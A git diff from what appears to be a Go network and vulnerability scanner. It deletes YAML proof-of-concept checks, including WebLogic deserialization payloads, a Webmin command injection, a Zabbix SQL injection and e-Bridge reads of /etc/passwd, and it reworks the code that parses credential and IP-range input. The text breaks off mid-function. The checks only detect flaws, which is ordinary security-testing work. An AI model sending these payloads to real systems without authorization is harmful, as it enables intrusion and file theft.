response.status == 200 && "JK Status Manager".bmatches(response.body) && "Listing Load Balancing Worker".bmatches(response.body)
|
|
||||||
- method: GET
|
|
||||||
path: /jkstatus;?cmd=dump
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "ServerRoot=*".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: loneyer
|
|
||||||
links:
|
|
||||||
- https://github.com/immunIT/CVE-2018-11759
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
name: poc-yaml-tongda-meeting-unauthorized-access
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay
|
|
||||||
headers:
|
|
||||||
User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
|
|
||||||
Accept-Encoding: 'deflate'
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle")))
|
|
||||||
detail:
|
|
||||||
author: 清风明月(www.secbook.info)
|
|
||||||
influence_version: ' < 通达OA 11.5'
|
|
||||||
links:
|
|
||||||
- https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
name: poc-yaml-ueditor-cnvd-2017-20077-file-upload
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8
|
|
||||||
headers:
|
|
||||||
Accept-Encoding: 'deflate'
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源")))
|
|
||||||
detail:
|
|
||||||
author: 清风明月(www.secbook.info)
|
|
||||||
influence_version: 'UEditor v1.4.3.3'
|
|
||||||
links:
|
|
||||||
- https://zhuanlan.zhihu.com/p/85265552
|
|
||||||
- https://www.freebuf.com/vuls/181814.html
|
|
||||||
exploit: >-
|
|
||||||
http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
name: poc-yaml-weaver-ebridge-file-read-linux
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
|
|
||||||
search: |
|
|
||||||
\"id\"\:\"(?P<var>.+?)\"\,
|
|
||||||
- method: GET
|
|
||||||
path: "/file/fileNoLogin/{{var}}"
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
|
|
||||||
detail:
|
|
||||||
author: mvhz81
|
|
||||||
info: e-bridge-file-read for Linux
|
|
||||||
links:
|
|
||||||
- https://mrxn.net/Infiltration/323.html
|
|
||||||
@@ -1,19 +0,0 @@
|
|||||||
name: poc-yaml-weaver-ebridge-file-read-windows
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
|
|
||||||
search: |
|
|
||||||
\"id\"\:\"(?P<var>.+?)\"\,
|
|
||||||
- method: GET
|
|
||||||
path: /file/fileNoLogin/{{var}}
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
|
|
||||||
detail:
|
|
||||||
author: mvhz81
|
|
||||||
info: e-bridge-file-read for windows
|
|
||||||
links:
|
|
||||||
- https://mrxn.net/Infiltration/323.html
|
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,12 +0,0 @@
|
|||||||
name: poc-yaml-weblogic-cve-2020-14750
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /console/images/%252E./console.portal
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp")))
|
|
||||||
detail:
|
|
||||||
author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless)
|
|
||||||
weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
|
|
||||||
links:
|
|
||||||
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-weblogic-ssrf
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700
|
|
||||||
headers:
|
|
||||||
Cookie: >-
|
|
||||||
publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|;
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >-
|
|
||||||
response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed"))
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
name: poc-yaml-weblogic-cve-2017-10271 # nolint[:namematch]
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /wls-wsat/CoordinatorPortType
|
|
||||||
headers:
|
|
||||||
Content-Type: text/xml
|
|
||||||
body: >-
|
|
||||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope></soapenv:Envelope>
|
|
||||||
follow_redirects: true
|
|
||||||
expression: >
|
|
||||||
response.body.bcontains(b"225773091")
|
|
||||||
detail:
|
|
||||||
vulnpath: '/wls-wsat/CoordinatorPortType'
|
|
||||||
author: fnmsd(https://github.com/fnmsd)
|
|
||||||
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271'
|
|
||||||
weblogic_version: '10'
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
|
|
||||||
- https://github.com/QAX-A-Team/WeblogicEnvironment
|
|
||||||
- https://xz.aliyun.com/t/5299
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,20 +0,0 @@
|
|||||||
name: poc-yaml-weblogic-cve-2019-2725 # nolint[:namematch]
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /wls-wsat/CoordinatorPortType
|
|
||||||
headers:
|
|
||||||
Content-Type: text/xml
|
|
||||||
body: >-
|
|
||||||
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"/><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void><void method="getWriter"><void method="write"><string/></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
|
|
||||||
follow_redirects: true
|
|
||||||
expression: >
|
|
||||||
response.body.bcontains(b"225773091")
|
|
||||||
detail:
|
|
||||||
vulnpath: '/wls-wsat/CoordinatorPortType'
|
|
||||||
author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
|
|
||||||
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData'
|
|
||||||
weblogic_version: '>12'
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
|
|
||||||
- https://github.com/QAX-A-Team/WeblogicEnvironment
|
|
||||||
- https://xz.aliyun.com/t/5299
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
name: poc-yaml-webmin-cve-2019-15107-rce
|
|
||||||
set:
|
|
||||||
r1: randomInt(800000000, 1000000000)
|
|
||||||
r2: randomInt(800000000, 1000000000)
|
|
||||||
rules:
|
|
||||||
- method: POST
|
|
||||||
path: /password_change.cgi
|
|
||||||
headers:
|
|
||||||
Referer: "{{url}}"
|
|
||||||
body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2
|
|
||||||
follow_redirects: false
|
|
||||||
expression: >
|
|
||||||
response.body.bcontains(bytes(string(r1 + r2)))
|
|
||||||
detail:
|
|
||||||
author: danta
|
|
||||||
description: Webmin 远程命令执行漏洞(CVE-2019-15107)
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
name: poc-yaml-zabbix-authentication-bypass
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: /zabbix.php?action=dashboard.view&dashboardid=1
|
|
||||||
follow_redirects: false
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes("<a class=\"top-nav-zbbshare\" target=\"_blank\" title=\"Zabbix Share\" href=\"https://share.zabbix.com/\">Share</a>")) && response.body.bcontains(b"<title>Dashboard</title>")
|
|
||||||
detail:
|
|
||||||
author: FiveAourThe(https://github.com/FiveAourThe)
|
|
||||||
links:
|
|
||||||
- https://www.exploit-db.com/exploits/47467
|
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
name: poc-yaml-zabbix-cve-2016-10134-sqli
|
|
||||||
set:
|
|
||||||
r: randomInt(2000000000, 2100000000)
|
|
||||||
rules:
|
|
||||||
- method: GET
|
|
||||||
path: >-
|
|
||||||
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5({{r}})),0)
|
|
||||||
follow_redirects: true
|
|
||||||
expression: |
|
|
||||||
response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r)), 0, 31)))
|
|
||||||
detail:
|
|
||||||
author: sharecast
|
|
||||||
links:
|
|
||||||
- https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134
|
|
||||||
+50
-74
@@ -9,27 +9,29 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
func Parse(Info *HostInfo) {
|
func Parse(Info *HostInfo){
|
||||||
ParseUser(Info)
|
ParseUser(Info)
|
||||||
ParsePass(Info)
|
ParsePass(Info)
|
||||||
ParseInput(Info)
|
ParseInput(Info)
|
||||||
ParseScantype(Info)
|
ParseScantype(Info)
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseUser(Info *HostInfo) {
|
|
||||||
if Info.Username != "" {
|
|
||||||
|
func ParseUser(Info *HostInfo){
|
||||||
|
if Info.Username!=""{
|
||||||
uesrs := strings.Split(Info.Username, ",")
|
uesrs := strings.Split(Info.Username, ",")
|
||||||
for _, uesr := range uesrs {
|
for _,uesr := range uesrs{
|
||||||
if uesr != "" {
|
if uesr !=""{
|
||||||
Info.Usernames = append(Info.Usernames, uesr)
|
Info.Usernames = append(Info.Usernames,uesr)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
for name := range Userdict {
|
for name := range Userdict{
|
||||||
Userdict[name] = Info.Usernames
|
Userdict[name] = Info.Usernames
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if Userfile != "" {
|
if Info.Userfile!=""{
|
||||||
uesrs, err := Readfile(Userfile)
|
uesrs,err := Readfile(Info.Userfile)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
for _, uesr := range uesrs {
|
for _, uesr := range uesrs {
|
||||||
if uesr != "" {
|
if uesr != "" {
|
||||||
@@ -44,22 +46,22 @@ func ParseUser(Info *HostInfo) {
|
|||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParsePass(Info *HostInfo) {
|
func ParsePass(Info *HostInfo){
|
||||||
if Info.Password != "" {
|
if Info.Password!=""{
|
||||||
passs := strings.Split(Info.Password, ",")
|
passs := strings.Split(Info.Password, ",")
|
||||||
for _, pass := range passs {
|
for _,pass := range passs{
|
||||||
if pass != "" {
|
if pass !=""{
|
||||||
Info.Passwords = append(Info.Passwords, pass)
|
Info.Passwords = append(Info.Passwords,pass)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Passwords = Info.Passwords
|
Passwords = Info.Passwords
|
||||||
}
|
}
|
||||||
if Passfile != "" {
|
if Info.Passfile!=""{
|
||||||
passs, err := Readfile(Passfile)
|
passs,err := Readfile(Info.Passfile)
|
||||||
if err == nil {
|
if err == nil{
|
||||||
for _, pass := range passs {
|
for _,pass := range passs{
|
||||||
if pass != "" {
|
if pass !=""{
|
||||||
Info.Passwords = append(Info.Passwords, pass)
|
Info.Passwords = append(Info.Passwords,pass)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Passwords = Info.Passwords
|
Passwords = Info.Passwords
|
||||||
@@ -68,10 +70,10 @@ func ParsePass(Info *HostInfo) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func Readfile(filename string) ([]string, error) {
|
func Readfile(filename string)([]string,error){
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err!=nil{
|
||||||
fmt.Println("Open %s error, %v", filename, err)
|
fmt.Println("Open %s error, %v", filename,err)
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
@@ -81,78 +83,52 @@ func Readfile(filename string) ([]string, error) {
|
|||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
text := strings.TrimSpace(scanner.Text())
|
text := strings.TrimSpace(scanner.Text())
|
||||||
if text != "" {
|
if text != "" {
|
||||||
content = append(content, scanner.Text())
|
content=append(content,scanner.Text())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return content, nil
|
return content,nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseInput(Info *HostInfo) {
|
|
||||||
if Info.Host == "" && HostFile == "" {
|
|
||||||
|
func ParseInput(Info *HostInfo){
|
||||||
|
if Info.Host=="" && Info.HostFile ==""{
|
||||||
fmt.Println("Host is none")
|
fmt.Println("Host is none")
|
||||||
flag.Usage()
|
flag.Usage()
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
//LogErr = Info.Debug
|
if Info.Outputfile != ""{
|
||||||
if TmpOutputfile != "" {
|
Outputfile = Info.Outputfile
|
||||||
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
|
|
||||||
Outputfile = getpath() + TmpOutputfile
|
|
||||||
} else {
|
|
||||||
Outputfile = TmpOutputfile
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
if TmpSave == true {
|
if Info.IsSave == true{
|
||||||
IsSave = false
|
IsSave = false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseScantype(Info *HostInfo) {
|
func ParseScantype(Info *HostInfo){
|
||||||
_, ok := PORTList[Info.Scantype]
|
_,ok:=PORTList[Info.Scantype]
|
||||||
if !ok {
|
if !ok{
|
||||||
fmt.Println("The specified scan type does not exist")
|
fmt.Println("The specified scan type does not exist")
|
||||||
fmt.Println("-m")
|
fmt.Println("-m")
|
||||||
for name := range PORTList {
|
for name,_:=range PORTList{
|
||||||
fmt.Println(" [" + name + "]")
|
fmt.Println(" ["+name+"]")
|
||||||
}
|
}
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
if Info.Scantype != "all" {
|
if Info.Scantype != "all" && Info.Ports != DefaultPorts{
|
||||||
if Info.Ports == DefaultPorts {
|
ScanPort := ParsePort(Info.Ports)[0]
|
||||||
switch Info.Scantype {
|
Info.Ports = strconv.Itoa(ScanPort)
|
||||||
case "webtitle":
|
fmt.Println("if -m and -p only scan the first port:",Info.Ports)
|
||||||
Info.Ports = "80,81,443,7001,8000,8080,8089,9200"
|
for name,_:=range PORTList{
|
||||||
case "ms17010":
|
PORTList[name] = ScanPort
|
||||||
Info.Ports = "445"
|
|
||||||
case "cve20200796":
|
|
||||||
Info.Ports = "445"
|
|
||||||
case "portscan":
|
|
||||||
default:
|
|
||||||
port, _ := PORTList[Info.Scantype]
|
|
||||||
Info.Ports = strconv.Itoa(port)
|
|
||||||
}
|
|
||||||
fmt.Println("if -m ", Info.Scantype, " only scan the port:", Info.Ports)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func CheckErr(text string, err error) {
|
|
||||||
if err != nil {
|
func CheckErr(text string,err error){
|
||||||
fmt.Println(text, err.Error())
|
if err!=nil{
|
||||||
|
fmt.Println(text,err.Error())
|
||||||
os.Exit(0)
|
os.Exit(0)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func getpath() string {
|
|
||||||
filename := os.Args[0]
|
|
||||||
var path string
|
|
||||||
if strings.Contains(filename, "/") {
|
|
||||||
tmp := strings.Split(filename, `/`)
|
|
||||||
tmp[len(tmp)-1] = ``
|
|
||||||
path = strings.Join(tmp, `/`)
|
|
||||||
} else if strings.Contains(filename, `\`) {
|
|
||||||
tmp := strings.Split(filename, `\`)
|
|
||||||
tmp[len(tmp)-1] = ``
|
|
||||||
path = strings.Join(tmp, `\`)
|
|
||||||
}
|
|
||||||
return path
|
|
||||||
}
|
|
||||||
+109
-122
@@ -11,177 +11,162 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
var ParseIPErr = errors.New(" host parsing error\n" +
|
var ParseIPErr =errors.New("host parsing error\n" +
|
||||||
"format: \n" +
|
"format: \n"+
|
||||||
"192.168.1.1\n" +
|
"192.168.1.1\n" +
|
||||||
"192.168.1.1/8\n" +
|
"192.168.1.1/8\n"+
|
||||||
"192.168.1.1/16\n" +
|
"192.168.1.1/16\n"+
|
||||||
"192.168.1.1/24\n" +
|
"192.168.1.1/24\n"+
|
||||||
"192.168.1.1,192.168.1.2\n" +
|
"192.168.1.1,192.168.1.2\n" +
|
||||||
"192.168.1.1-192.168.255.255\n" +
|
|
||||||
"192.168.1.1-255")
|
"192.168.1.1-255")
|
||||||
|
|
||||||
func ParseIP(ip string, filename string) (hosts []string, err error) {
|
func ParseIP(ip string,filename string)(hosts []string,err error){
|
||||||
|
|
||||||
if ip != "" {
|
if ip != ""{
|
||||||
hosts, err = ParseIPs(ip)
|
hosts,err = ParseIPs(ip)
|
||||||
}
|
}
|
||||||
if filename != "" {
|
if filename != ""{
|
||||||
var filehost []string
|
var filehost []string
|
||||||
filehost, _ = Readipfile(filename)
|
filehost,_ = Readipfile(filename)
|
||||||
hosts = append(hosts, filehost...)
|
hosts = append(hosts,filehost...)
|
||||||
}
|
}
|
||||||
hosts = RemoveDuplicate(hosts)
|
hosts = RemoveDuplicate(hosts)
|
||||||
return hosts, err
|
return hosts,err
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseIPs(ip string) (hosts []string, err error) {
|
func ParseIPs(ip string)(hosts []string,err error){
|
||||||
if strings.Contains(ip, ",") {
|
if strings.Contains(ip,","){
|
||||||
IPList := strings.Split(ip, ",")
|
IPList:=strings.Split(ip,",")
|
||||||
var ips []string
|
var ips []string
|
||||||
for _, ip := range IPList {
|
for _,ip:=range IPList{
|
||||||
ips, err = ParseIPone(ip)
|
ips,err = ParseIPone(ip)
|
||||||
CheckErr(ip, err)
|
CheckErr(ip,err)
|
||||||
hosts = append(hosts, ips...)
|
hosts = append(hosts,ips...)
|
||||||
}
|
}
|
||||||
return hosts, err
|
return hosts,err
|
||||||
} else {
|
}else {
|
||||||
hosts, err = ParseIPone(ip)
|
hosts,err = ParseIPone(ip)
|
||||||
CheckErr(ip, err)
|
CheckErr(ip,err)
|
||||||
return hosts, err
|
return hosts,err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseIPone(ip string) ([]string, error) {
|
func ParseIPone(ip string)([]string,error){
|
||||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
reg:=regexp.MustCompile(`[a-zA-Z]+`)
|
||||||
switch {
|
switch {
|
||||||
case strings.Contains(ip[len(ip)-3:], "/24"):
|
case strings.Contains(ip[len(ip)-3:len(ip)],"/24"):
|
||||||
return ParseIPA(ip)
|
return ParseIPA(ip)
|
||||||
case strings.Contains(ip[len(ip)-3:], "/16"):
|
case strings.Contains(ip[len(ip)-3:len(ip)],"/16"):
|
||||||
return ParseIPD(ip)
|
return ParseIPD(ip)
|
||||||
case strings.Contains(ip[len(ip)-2:], "/8"):
|
case strings.Contains(ip[len(ip)-2:len(ip)],"/8"):
|
||||||
return ParseIPE(ip)
|
return ParseIPE(ip)
|
||||||
case strings.Count(ip, "-") == 1:
|
case strings.Count(ip,"-")==1:
|
||||||
return ParseIPC(ip)
|
return ParseIPC(ip)
|
||||||
case reg.MatchString(ip):
|
case reg.MatchString(ip):
|
||||||
_, err := net.LookupHost(ip)
|
_, err := net.LookupHost(ip)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil,err
|
||||||
}
|
}
|
||||||
return []string{ip}, nil
|
return []string{ip},nil
|
||||||
default:
|
default:
|
||||||
testIP := net.ParseIP(ip)
|
testIP:=net.ParseIP(ip)
|
||||||
if testIP == nil {
|
if testIP==nil{
|
||||||
return nil, ParseIPErr
|
return nil,ParseIPErr
|
||||||
}
|
}
|
||||||
return []string{ip}, nil
|
return []string{ip},nil
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
//Parsing CIDR IP
|
//Parsing CIDR IP
|
||||||
func ParseIPA(ip string) ([]string, error) {
|
func ParseIPA(ip string)([]string,error){
|
||||||
realIP := ip[:len(ip)-3]
|
realIP:=ip[:len(ip)-3]
|
||||||
testIP := net.ParseIP(realIP)
|
testIP:=net.ParseIP(realIP)
|
||||||
|
|
||||||
if testIP == nil {
|
if testIP==nil{
|
||||||
return nil, ParseIPErr
|
return nil,ParseIPErr
|
||||||
}
|
}
|
||||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:3], ".")
|
IPrange:=strings.Join(strings.Split(realIP,".")[0:3],".")
|
||||||
var AllIP []string
|
var AllIP []string
|
||||||
for i := 0; i <= 255; i++ {
|
for i:=0;i<=255;i++{
|
||||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(i))
|
AllIP=append(AllIP,IPrange+"."+strconv.Itoa(i))
|
||||||
}
|
}
|
||||||
return AllIP, nil
|
return AllIP,nil
|
||||||
}
|
}
|
||||||
|
|
||||||
//Resolving a range of IP,for example: 192.168.111.1-255,192.168.111.1-192.168.112.255
|
//Resolving multiple IPS, for example: 192.168.111.1,192.168.111.2
|
||||||
func ParseIPC(ip string) ([]string, error) {
|
func ParseIPB(ip string)([]string,error){
|
||||||
IPRange := strings.Split(ip, "-")
|
IPList:=strings.Split(ip,",")
|
||||||
testIP := net.ParseIP(IPRange[0])
|
for _,i:=range IPList{
|
||||||
var AllIP []string
|
testIP:=net.ParseIP(i)
|
||||||
if len(IPRange[1]) < 4 {
|
if testIP==nil{
|
||||||
Range, err := strconv.Atoi(IPRange[1])
|
return nil,ParseIPErr
|
||||||
if testIP == nil || Range > 255 || err != nil {
|
|
||||||
return nil, ParseIPErr
|
|
||||||
}
|
|
||||||
SplitIP := strings.Split(IPRange[0], ".")
|
|
||||||
ip1, err1 := strconv.Atoi(SplitIP[3])
|
|
||||||
ip2, err2 := strconv.Atoi(IPRange[1])
|
|
||||||
PrefixIP := strings.Join(SplitIP[0:3], ".")
|
|
||||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
|
||||||
return nil, ParseIPErr
|
|
||||||
}
|
|
||||||
for i := ip1; i <= ip2; i++ {
|
|
||||||
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
SplitIP1 := strings.Split(IPRange[0], ".")
|
|
||||||
SplitIP2 := strings.Split(IPRange[1], ".")
|
|
||||||
fmt.Println(SplitIP1, SplitIP2, len(SplitIP1), len(SplitIP2))
|
|
||||||
if len(SplitIP1) != 4 || len(SplitIP2) != 4 {
|
|
||||||
return nil, ParseIPErr
|
|
||||||
}
|
|
||||||
start, end := [4]int{}, [4]int{}
|
|
||||||
for i := 0; i < 4; i++ {
|
|
||||||
ip1, err1 := strconv.Atoi(SplitIP1[i])
|
|
||||||
ip2, err2 := strconv.Atoi(SplitIP2[i])
|
|
||||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
|
||||||
return nil, ParseIPErr
|
|
||||||
}
|
|
||||||
start[i], end[i] = ip1, ip2
|
|
||||||
}
|
|
||||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
|
||||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
|
||||||
fmt.Println(startNum, endNum)
|
|
||||||
for num := startNum; num < endNum; num++ {
|
|
||||||
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
|
|
||||||
AllIP = append(AllIP, ip)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return IPList,nil
|
||||||
return AllIP, nil
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseIPD(ip string) ([]string, error) {
|
//Resolving a range of IP,for example: 192.168.111.1-255
|
||||||
realIP := ip[:len(ip)-3]
|
func ParseIPC(ip string)([]string,error){
|
||||||
testIP := net.ParseIP(realIP)
|
IPRange:=strings.Split(ip,"-")
|
||||||
|
testIP:=net.ParseIP(IPRange[0])
|
||||||
if testIP == nil {
|
Range,err:=strconv.Atoi(IPRange[1])
|
||||||
return nil, ParseIPErr
|
if testIP==nil || Range>255 || err!=nil{
|
||||||
|
return nil,ParseIPErr
|
||||||
}
|
}
|
||||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:2], ".")
|
SplitIP:=strings.Split(IPRange[0],".")
|
||||||
|
ip1,err1:=strconv.Atoi(SplitIP[3])
|
||||||
|
ip2,err2:=strconv.Atoi(IPRange[1])
|
||||||
|
PrefixIP:=strings.Join(SplitIP[0:3],".")
|
||||||
var AllIP []string
|
var AllIP []string
|
||||||
for a := 0; a <= 255; a++ {
|
if ip1>ip2 || err1!=nil || err2!=nil{
|
||||||
for b := 0; b <= 255; b++ {
|
return nil,ParseIPErr
|
||||||
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return AllIP, nil
|
for i:=ip1;i<=ip2;i++{
|
||||||
|
AllIP=append(AllIP,PrefixIP+"."+strconv.Itoa(i))
|
||||||
|
}
|
||||||
|
return AllIP,nil
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func ParseIPE(ip string) ([]string, error) {
|
func ParseIPD(ip string)([]string,error){
|
||||||
realIP := ip[:len(ip)-2]
|
realIP:=ip[:len(ip)-3]
|
||||||
testIP := net.ParseIP(realIP)
|
testIP:=net.ParseIP(realIP)
|
||||||
|
|
||||||
if testIP == nil {
|
if testIP==nil{
|
||||||
return nil, ParseIPErr
|
return nil,ParseIPErr
|
||||||
}
|
}
|
||||||
IPrange := strings.Join(strings.Split(realIP, ".")[0:1], ".")
|
IPrange:=strings.Join(strings.Split(realIP,".")[0:2],".")
|
||||||
var AllIP []string
|
var AllIP []string
|
||||||
for a := 0; a <= 255; a++ {
|
